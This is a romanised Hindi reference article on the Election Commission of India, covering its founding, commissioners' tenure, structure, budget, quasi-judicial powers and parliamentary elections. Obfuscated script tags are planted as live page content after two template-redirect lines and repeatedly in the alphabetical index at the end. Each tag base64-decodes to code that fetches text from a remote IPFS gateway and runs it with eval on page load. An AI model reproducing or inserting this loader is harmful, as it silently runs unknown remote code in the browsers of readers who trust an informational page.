भारतीय निर्वाचन आयोग

	bharatiy nirvachan ayog
	bharatiy nirvachan ayog ka pratik chihn\|200px\|center
vivaran	bharat mean chunavoan ka ayojan bharatiy sanvidhan ke tahat banaye gaye 'bharatiy nirvachan ayog' dvara kiya jata hai.
sthapana	25 janavari, 1950
adhikar kshetr	bharat
mukhyalay	nee dilli
vishesh	16 aktoobar, 1989 ko pahali bar do atirikt ayuktoan ki niyukti ki gee thi, parantu unaka karyakal bahut kam tha, jo 1 janavari, 1990 tak chala. tatpashchat 1 aktoobar, 1993 ko do atirikt nirvachan ayuktoan ki niyukti ki gee thi.
any janakari	bharatiy nirvachan ayog apane karyoan ka nishpadan, niyamit baithakoan ke ayojan aur dastavejoan ke parichalan dvara karata hai. ayog dvara nirnay lene ki prakriya mean sabhi nirvachan ayuktoan ke pas saman adhikar hote haian.

bharatiy nirvachan ayog / bharatiy chunav ayog (aangrezi: Election Commission of India) ek svayatt evan ardh-nyayik sanstha hai. isaka gathan bharat mean svatantr evan nishpaksh roop se pratinidhik sansthanoan mean jan pratinidhi chunane ke lie kiya gaya tha. 'bharatiy chunav ayog' ki sthapana 25 janavari, 1950 ko ki gee thi. ayog mean vartaman mean ek mukhy chunav ayukt aur do chunav ayukt hote haian. bharat jaise b de aur bhari janasankhh‍ya vale desh mean chunav karana ek bahut b da kam hai. sansad ke donoan sadanoan-lokasabha aur rajy sabha ke lie chunav berok-tok aur nishh‍paksh hoan, isake lie ek sh‍vatantr chunav (nirvachan) ayog banaya gaya hai.

sanvaidhanik nikay

bharat ek samajavadi, dharmanirapeksh, lokataantrik ganarajy evan vishv ka sabase b da lokatantr hai. adhunik bharatiy rashtr rajy 15 agast, 1947 ko astitv mean aya tha. tab se sanvidhan mean pratishthapit siddhantoan, nirvachan vidhiyoan tatha paddhati ke anusar niyamit antaraloan par svatantr tatha nishpaksh nirvachanoan ka sanchalan kiya gaya hai. bharat ke sanvidhan ne sansad aur pratyek rajy ke vidhanamandal tatha bharat ke rashtrapati aur up-rashtrapati ke padoan ke nirvachanoan ke sanchalan ki poori prakriya ka adhikshan, nideshan tatha niyantran ka uttaradayitv bharat nirvachan ayog ko sauanpa hai. bharat nirvachan ayog ek sthayi sanvaidhanik nikay hai.

sanvidhan ke anusar nirvachan ayog ki sthapana 25 janavari, 1950 ko ki gee thi. ayog ne apani svarn jayanti varsh 2001 mean manaee thi. prarambh mean, ayog mean keval ek mukhy nirvachan ayukt the. vartaman mean isamean ek mukhy nirvachan ayukt aur do nirvachan ayukt haian. 16 aktoobar, 1989 ko pahali bar do atirikt ayuktoan ki niyukti ki gee thi parantu unaka karyakal bahut kam tha jo 1 janavari, 1990 tak chala. tatpashchat 1 aktoobar, 1993 ko do atirikt nirvachan ayuktoan ki niyukti ki gee thi. tab se ayog ki bahu-sadasyiy avadharana prachalan mean hai, jisamean nirnay bahumat ke adhar par liya jata hai.

nirvachan ayog ke mukhy kary

chunav kshetroan ka parisiman.
matadata soochiyoan ko taiyar karavana.
vibhinn rajanitik daloan ko manyata pradan karana.
rajanitik daloan ko arakshit chunav chinh pradan karana.
chunav karavana.
rajanitik daloan ke lie achar sanhita taiyar karavana.

nirvachan ayog ki svatantrata ke lie sanvaidhanik pravadhan

nirvachan ayog ek sanvaidhanik sanstha hai arthat isaka nirman sanvidhan ne kiya hai.
mukhy chunav ayukt evan any chunav ayukt ki niyukti rashtrapati karate haian.
mukhy chunav ayukt mahabhiyog jaisi prakriya se hi hataya ja sakata hai.
mukhy chunav ayukt ka darja sarvochch nyayalay ke mukhy nyayadhish ke saman hi hai.
niyukti ke pashchat mukhy chunav ayukt evan any chunav ayuktoan ki seva sashartoan mean koee alabhakari parivartan nahian kiya ja sakata hai.
mukhy chunav ayukt evan any chunav ayuktoan ka vetan bharata ki sanchit nidhi mean se diya jata hai.

ayuktoan ki niyukti evan karyakal

mukhy nirvachan ayukt evan nirvachan ayuktoan ki niyukti rashtrapati dvara ki jati hai. unaka karyakal 6 varsh tak, ya 65 varsh ki ayu tak, inamean se jo bhi pahale ho, tak ka hota hai. unaka vahi star hota hai jo ki bharat ke uchchatam nyayalay ke nyayadhishoan ka hota hai tatha unhean unake samatuly hi vetan aur anulabh milate haian. mukhy nirvachan ayukt ko pad se, keval sansad dvara mahabhiyog ke madhyam se hataya ja sakata hai.

kary nishpadan

ayog apane karyoan ka nishpadan, niyamit baithakoan ke ayojan aur dastavejoan ke parichalan dvara karata hai. ayog dvara nirnay lene ki prakriya mean sabhi nirvachan ayuktoan ke pas saman adhikar hote haian. samay-samay par ayog apane sachivalay mean apane adhikariyoan ko kuchh karyakari prakaryoan ka pratyayojan karata hai.

sanrachana

ayog ka nee dilli mean ek prithak sachivalay hai jisamean lagabhag 300 adhikari/karmachari padanukram roop se kary karate haian. ayog ke karyoan mean sahayog dene ke lie sachivalay ke varishthatam adhikari ke roop mean do ya tin up nirvachan ayukt aur mahanideshak hote haian. ve samanyatah desh ki rashtriy sivil seva se niyukt kie jate haian aur unaka chayan v karyakal sahit unaki niyukti ayog dvara ki jati hai. thumb|left|250px|bharatiy nirvachan ayog isi tarah se, nideshak, pradhan sachiv, sachiv, avar sachiv aur up nideshak, up nirvachan ayuktoan aur mahanideshakoan ko sahayog dete haian. ayog mean kary ka prakaryatmak aur pradeshik vitaran kiya gaya hai. kary ko divijanoan, shakhaoan aur anubhagoan mean vitarit kiya gaya hai; ullikhit ikaeeyoan mean se pratyek akhiri ikaee anubhag adhikari ke prabhar mean hoti hai. mukhy prakaryatmak prabhag haiah yojana, nyayik, prashasan, suvyavasthit matadata shiksha evan nirvachak sahabhagita (svip), soochana pranaliyaan, midiya aur sachivalay samanvayan. vibhinn jon ke lie uttaradayi prithak-ikaeeyoan ke madhy pradeshik kary ka bantavara kiya gaya hai jisake lie prabandhan ki suvidha hetu desh ke 35 sanghatak rajyoan aur sangh rajy-kshetroan ko samoohikrit kiya gaya hai.

rajy star par nirvachan kary ka adhikshan rajy ke mukhy nirvachan adhikari dvara ayog ke samagr adhikshan, nideshan aur niyantran ke adhyadhin kiya jata hai, in mukhy nirvachan adhikariyoan ki niyukti sanbandhit rajy sarakar dvara prastavit varishth sivil sevakoan mean se ayog dvara ki jati hai. adhikatar rajyoan mean ve ek poornakalik adhikari hote haian aur unake pas sahayak staph ki chhoti si ek tim hoti hai.

jila evan nirvachan kshetr staroan par jila nirvachan adhikari, nirvachak rajistrikaran adhikari aur ritarniang adhikari hote haian jinhean b di sankhya mean kanishth padadhikariyoan ka sahayog milata hai aur ve nirvachan kary nishpadit karate haian. ve sabhi apane any dayitvoan ke atirikt nirvachanoan se sanbandhit apane prakaryoan ka bhi nishpadan karate haian. tathapi, nirvachan ke dauran, ve ayog ke lie kamobesh, poornakalik adhar par upalabdh hote haian.

desh vyapi star par sadharan nirvachan ka sanchalan karane ke lie ati vishal karyabal mean lagabhag paanch miliyan nirvachan karmi evan sivil pulis bal shamil haian. yah vishal nirvachan tantr nirvachan ayog ki pratiniyukti par mana jata hai aur nirvachan avadhi, jo dedh se do mahinoan ki avadhi tak vistarit hoti hai, ke dauran usake niyantran, adhikshan evan anushasan ke adhyadhin hota hai.

bajat evan vyay

ayog sachivalay ka apana ek svatantr bajat hota hai jise ayog aur sangh sarakar ke vitt mantralay ke paramarsh se aantim roop diya jata hai. vitt mantralay samany roop se ayog ke bajat hetu isaki sanstutiyoan ko svikar kar leta hai. tathapi, nirvachanoan ke vastavik sanchalan par mukhy vyay, sangh rajyoan tatha sangh shasit kshetroan ki sanbandhit ghatak ikaeeyoan ke bajat mean pratibianbit kiya jata hai. yadi nirvachan keval lok sabha ke lie hi karavae jate haian to vyay samagr roop se sangh sarakar dvara vahan kiya jata hai jabaki keval rajy vidhan mandal ke lie karavae jane vale nirvachanoan ke lie sara vyay sanbandhit rajy dvara vahan kiya jata hai. sansadiy evan rajy vidhan mandal ke nirvachan sath-sath hone ki sthiti mean, kendr evan rajy sarakar ke bich vyay ki saman roop se hissedari hoti hai. pooanjigat upaskar, nirvachak namavaliyoan ko taiyar karane sanbandhi vyay tatha nirvachakoan ke pahachan patroan sanbandhi yojana ka vyay bhi saman roop se baant liya jata hai.

karyakari hastakshep pratibandhit

apane karyoan ke nishpadan mean, nirvachan ayog karyakari hastakshep se mukt hai. ayog hi nirvachanoan ke sanchalan ke lie nirvachan karyakram ke bare mean nirnay leta hai chahe vah sadharan nirvachan hoan ya up nirvachan. punah, ayog hi matadan kendroan ki avasthiti, matadan kendroan ke anusar matadataoan ka abantan, mataganana kendroan ki avasthiti, matadan kendroan evan usake as-pas kie jane vale prabandhoan aur mataganana keandroan tatha sabhi sanbandhit mamaloan par nirnay leta hai.

rajanitik dal evan ayog

rajanitik dal vidhi ke adhin nirvachan ayog ke sath panjikrit hai. ayog un par samayik aantaraloan par sangathan sanbandhi nirvachan karavane hetu jor dekar unake kamakaj mean aantarik daliy lokatantr sunishchit karata hai. nirvachan ayog ke sath is prakar panjikrit rajanaitik daloan ko nirvachan ayog, apane dvara nirdharit manadandoan ke anusar, sadharan nirvachanoan mean rajanaitik daloan ke matadan pradarshan ke adhar par rajyiy evan rashtriy star ki manyata pradan karata hai. ayog, apane ardh-nyayik adhikar kshetr ke bhag ke roop mean, aise manyata prapt daloan se alag hue daloan ke bich ke vivadoan ka bhi nipatan karata hai.

nirvachan ayog, rajanitik daloan ki sahamati se taiyar ki gee adarsh achar sanhita ka unake dvara k daee se anupalan karavakar nirvachan maidan mean rajanitik daloan ke lie saman avasar sunishchit karata hai.

ayog rajanitik daloan ke sath avadhik roop se nirvachanoan ke sanchalan sanbandhi mamaloan evan adarsh achar sanhita ke anupalan aur ayog dvara nirvachan sanbandhi mamaloan par prastavit ne upayoan ko lagoo karane par vichar vimarsh karata hai.

paramarshi adhikar kshetr evan ardh-nyayik prakary

sanvidhan ke adhin ayog ke pas sansad evan rajy vidhan mandaloan ke asin sadasyoan ki nirvachan nirarhata ke mamale mean paramarshi adhikar haian. isake atirikt nirvachanoan mean bhrasht acharan ke lie doshi pae jane vale vyaktiyoan ke mamale, jo ki uchchatam nyayalay evan uchch nyayalayoan ke samaksh prastut kie jate haian, bhi ayog ki ray janane ke lie ki kya aise logoan ko nirrahit kar diya jae aur, yadi haan, to kitane samay ke lie, sanbandhi mamale ayog ko sandarbhit kie jate haian. aise sabhi mamaloan mean ayog ki ray rashtrapati ya rajyapal, yatha mamala jinhean aisi ray prastut ki jati hai, par badhyakari hote haian.

ayog ke pas aise abhyarthi, jo vidhi dvara nirdharit samay aur riti se apane nirvachan vyay ke lekhe dakhil karane mean asaphal ho jate haian, ko nirrahit karane ka adhikar hai. ayog ke pas vidhi ke adhin any nirrahata tatha sath hi aisi nirrahata ki avadhi ko samapt karane ya kam karane ka adhikar bhi hai.

nyayik samiksha

ayog ke nirnayoan ko bharat ke uchch nyayalay aur uchchatam nyayalay mean uchit yachika dvara chunauti di ja sakati hai. lanbe samay se chali a rahi paripati aur anek nyayik ghoshanaoan ke dvara, yadi ek bar nirvachanoan ki vastavik prakriya shuroo ho jati hai to nyayapalika matadan ke vastavik sanchalan mean hastakshep nahian karati hai. ek bar matadan samapt ho jane evan parinam ghoshit ho jane par, ayog kisi parinam ka punarikshan svayan nahian kar sakata hai. sansadiy evan rajy vidhan mandaloan ke nirvachanoan ke sanbandh mean isaka punarikshan keval nirvachan yachika ki prakriya ke madhyam se kiya ja sakata hai jo ki uchch nyayalay ke samaksh rakhi jati hai. rashtrapatiy aur up-rashtrapatiy karyalayoan ke nirvachanoan ke sanbandh mean, aisi yachika keval uchchatam nyayalay ke samaksh hi dayar ki ja sakati hai.

midiya niti

midiya ke sanbandh mean ayog ki vyapak niti hai. nirvachan avadhi ke dauran evan any avasaroan par yatha avashyakata vishisht avasaroan par laghu aantaraloan par priant evan ilektraॅnik mas midiya ke lie yah niyamit briphiang ayojit karata hai. midiya ke pratinidhiyoan ko matadan evan mataganana ke vastavik sanchalan par riport banane ke lie suvidhaean upalabdh karavaee jati haian. unhean ayog dvara jari pradhikar patroan ke adhar par matadan kendroan evan ganana kendroan mean jane ki anumati di jati hai. isamean aantarrashtriy evan rashtriy midiya donoan ke sadasy shamil hote haian. ayog saankhyikiy riport evan any dastavej prakashit karata hai jo lokavyapi roop mean upalabdh hote haian. ayog ka pustakalay shaikshik bhratritv ke sadasyoan, midiya pratinidhiyoan evan any koee bhi ichchhuk vyakti jo isamean roochi rakhata ho, ke shodh evan adhyayan ke lie upalabdh hai.

ayog ne matadataoan ki jagarookata ke lie rajy ke svamitv vale midiya - dooradarshan evan akashavani ke sahayog se b da prachar abhiyan chalaya hai. prasar bharati kaॅrporeshan, jo rashtriy rediyo evan telivijan netavark ka prabandhan karati hai, ne is uddeshy ke lie anek navin evan prabhavakari laghu klip banaee haian.

matadata shiksha

lokatantrik evan nirvachan prakriyaoan mean matadata sahabhagita kisi bhi lokatantr ki saphalata ke lie atyadhik mahatvapoorn hoti hai aur lokatantrik nirvachanoan ka poorn adhar yahi hai. is tathy ko pahachanate hue, nirvachan ayog ne varsh 2009 mean nirvachan prabandhan ke abhinn aang ke roop mean matadata shiksha aur nirvachan sahabhagita ko aupacharik roop se apanaya hai.

aantarrashtriy sahayog

bharat, lokatantr aur nirvachan sahayata hetu aantarrashtriy sansthan, (aee di ee e) staॅkahom, svidan ka ek sansthapak sadasy hai. abhi hal hi mean, ayog ne nirvachan prabandhan evan prashasan, nirvachak vidhiyaan evan sudhar ke kshetr mean apane anubhav evan vishesh janakari ko sajha karane ke lie aantarrashtriy sanbandhoan ko badhaya hai. vibhinn deshoan yatha roos, shrilanka, nepal, iandoneshiya, dakshin aphrika, baangladesh, thaeelaind, naijiriya, namibiya, bhootan, aaustreliya, sanyukt rajy amerika aur afaganistan ityadi ke rashtriy nirvachan nikayoan ke nirvachan adhikari aur any shisht mandal bharatiy nirvachan prakriya ko behatar roop se samajhane ke lie ayog ka daura kar chuke haian. ayog ne sanyukt rashtrasangh aur rashtramandal sachivalay ke sahayog se any deshoan ke nirvachanoan ke lie prekshakoan aur visheshajnoan ko bhi upalabdh karaya tha.

nee pahalean

ayog ne hal hi poorv mean kee nee pahal ki haian. inamean se kuchh ullekhaniy haian- rajanaitik daloan dvara rediyo prasaran/dooradarshan prasaran ke lie rajy ke svamitv vali ilektraॅnik midiya ke prayog par yojana banana, rajaniti ke aparadhikaran par rok lagana, nirvachak namavaliyoan ka kanpyootarikaran, nirvachakoan ko pahachan patr upalabdh karavana, abhyarthiyoan dvara lekhoan ke rakh rakhav karane aur unhean jama karane ki prakriya ko saral banana tatha adarsh achar sanhita ke k daee se anupalan hetu vividh upay karana, nirvachanoan ke dauran abhyarthiyoan ko ek saman avasar upalabdh karavana.

mukhy chunav ayukt

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chunav ayog ke mukhy chunav ayukt ka karyakal 6 varsh ka hota hai. pahale yah avadhi 65 sal tak hoti thi. protokal mean chunav ayukt/nirvachan ayukt ka samman aur vetan bharat ke sarvochch nyayalay ke nyayadhish ke saman hota hai. mukhy chunav ayukt ko sansad dvara mahabhiyog ke dvara hi hataya ja sakata haian.

sansad sadash‍yoan ka chunav

lok sabha ke lie samanh‍y chunav jab usaki karyavadhi samaph‍t hone vali ho ya usake bhang kie jane par karae jate haian.
bharat ka prath‍yek nagarik jo 18 varsh ka ya usase adhik ho matadan ka adhikari hai.
lokasabha ka chunav l dane ke lie kam se kam ayu 25 varsh hai aur rajh‍y sabha ke lie 30 varsh.

rajh‍y sabha

rajh‍y sabha ke sadash‍y rajh‍yoan ke logoan ka pratinidhith‍v karate haian. inaka chunav rajh‍y ki vidhanasabha ke chune hue sadash‍yoan dvara hota hai. rajh‍y sabha mean sh‍than bharane ke lie rashh‍trapati, chunav ayog dvara sujhaee gee tarikh ko, adhisoochana jari karata hai. jis tithi ko sevanivritt hone vale sadash‍yoan ki padavadhi samaph‍t honi ho usase tin mas se adhik samay se poorv aisi adhisoochana jari nahian ki jati. chunav adhikari, chunav ayog ke anumodan se matadan ka sh‍than nirdharit aur adhisoochit karata hai.

lok sabha

nayi lok sabha ke chunav ke lie rashh‍trapati, rajapatr mean prakashit adhisoochana dvara, chunav ayog dvara sujhaee gee tithi ko, sabhi sansadiy nirvachan kshetroan se sadash‍y chunane ke lie kahata hai. adhisoochana jari kie jane ke pashh‍chat chunav ayog namaankan patr dayar karane, unaki chhanabin karane, unh‍hean vapas lene aur matadan ke lie tithiyaan nirdharit karata hai. lok sabha ke lie prath‍yaksh chunav hone ke karan bharat ke rajh‍y kshetr ko upayukh‍t pradeshik nirvachan kshetroan mean baanta jata hai. prath‍yek sansadiy nirvachan kshetr se ek sadash‍y ko chuna jata hai.

sh‍than rikt hona

yadi ek sadan ka koee sadash‍y doosare sadan ke lie bhi chun liya jata hai to pahale sadan mean usaka sh‍than us tithi se khali ho jata hai jab vah anh‍y sadan ke lie chuna gaya ho. isi prakar, yadi vah kisi rajh‍y vidhanamandal ke sadash‍y ke roop mean bhi chun liya jata hai to, yadi vah rajh‍y vidhanamandal mean apane sh‍than se, rajh‍y ke rajapatr mean ghoshana ke prakashan se 14 dinoan ke bhitar, th‍yagapatr nahian de deta to, sansad ka sadash‍y nahian rahata. yadi koee sadash‍y, sadan ki anumati ke bina 60 din ki avadhi tak sadan ki kisi baithak mean upash‍thit nahian hota to vah sadan usake sh‍than ko rikh‍t ghoshit kar sakata hai. isake alava, kisi sadash‍y ko sadan mean apana sh‍than rikh‍t karana p data hai yadi-

vah labh ka koee pad dharan karata hai
use vikrit chitt vala vh‍yakh‍ti ya divaliya ghoshit kar diya jata hai
vah sh‍vechh‍chha se kisi videshi rajh‍y ki nagarikata praph‍t kar leta hai
usaka nirvachan nh‍yayalay dvara shoonh‍y ghoshit kar diya jata hai
vah sadan dvara nishh‍kasan ka prash‍tav sh‍vikrit kie jane par nishh‍kasit kar diya jata hai
vah rashh‍trapati ya kisi rajh‍y ka rajh‍yapal chun liya jata hai

yadi kisi sadash‍y ko sanvidhan ki dasavian anusoochi ke upabandhoan ke aantargat dal-badal ke adhar par ayogh‍y siddh kar diya gaya ho, to us sh‍thiti mean bhi usaki sadash‍yata samaph‍t ho sakati hai.

mahattvapoorn tathy

bharat ke nirvachan aayog se ju de mahath‍vapoorn tathh‍y is prakar haian-

sanvidhan ke bhag-15 ke anuchchhed-324 se 329 mean nirvachan se sanbandhit upabandh diya gaya hai.
nirvachan ayog ka gathan mukhy nirvachan ayukt evan any nirvachan ayuktoan se kiya jata hai, jinaki niyukti rashtrapati ke dvara ki jati hai.
mukhy chunav ayukt ka karyakal 6 varsh ya 65 varsh ki ayu, jo pahale ho tab tak hoga. any chunav ayuktoan ka karyakal 6 varsh ya 62 varsh ki ayu jo pahale ho tab tak rahata hai.
mukhy chunav ayukt tatha any chunav ayuktoan ko sarvochch nyayalay ke nyayadhishoan ke barabar vetan (90 hajar rupaye masik) evan bhatte prapt hoange.
pahale chunav ayog ek sadasyiy ayog tha, lekin aktoobar 1993 mean tin sadasyiy ayog bana diya gaya.

rajy sanrachana

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sandhiy star par mukhy chunav ayukt / mukhy nirvachan ayukt ke anuroop rajy star par pratyek rajy mean mukhy chunav adhikari / mukhy nirvachan adhikari ka pravidhan hai jo us rajy mean nirvachan ke liye vidhayi shaktiyoan ka upabhog karata hai.

chunav sanbandhi vivad

sansad ke ya kisi rajh‍y vidhanamandal ke kisi sadan ke lie hue kisi chunav ko chunauti uchh‍ch-nh‍yayalay mean di ja sakati hai. yachika chunav ke dauran koee bhrashh‍t prakriya apanane ke karan pesh ki ja sakati hai. yadi siddh ho jae to uchch nyayalay ko yah shakh‍ti praph‍t hai ki vah saphal umh‍midavar ka chunav shoonh‍y ghoshit kar de.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n 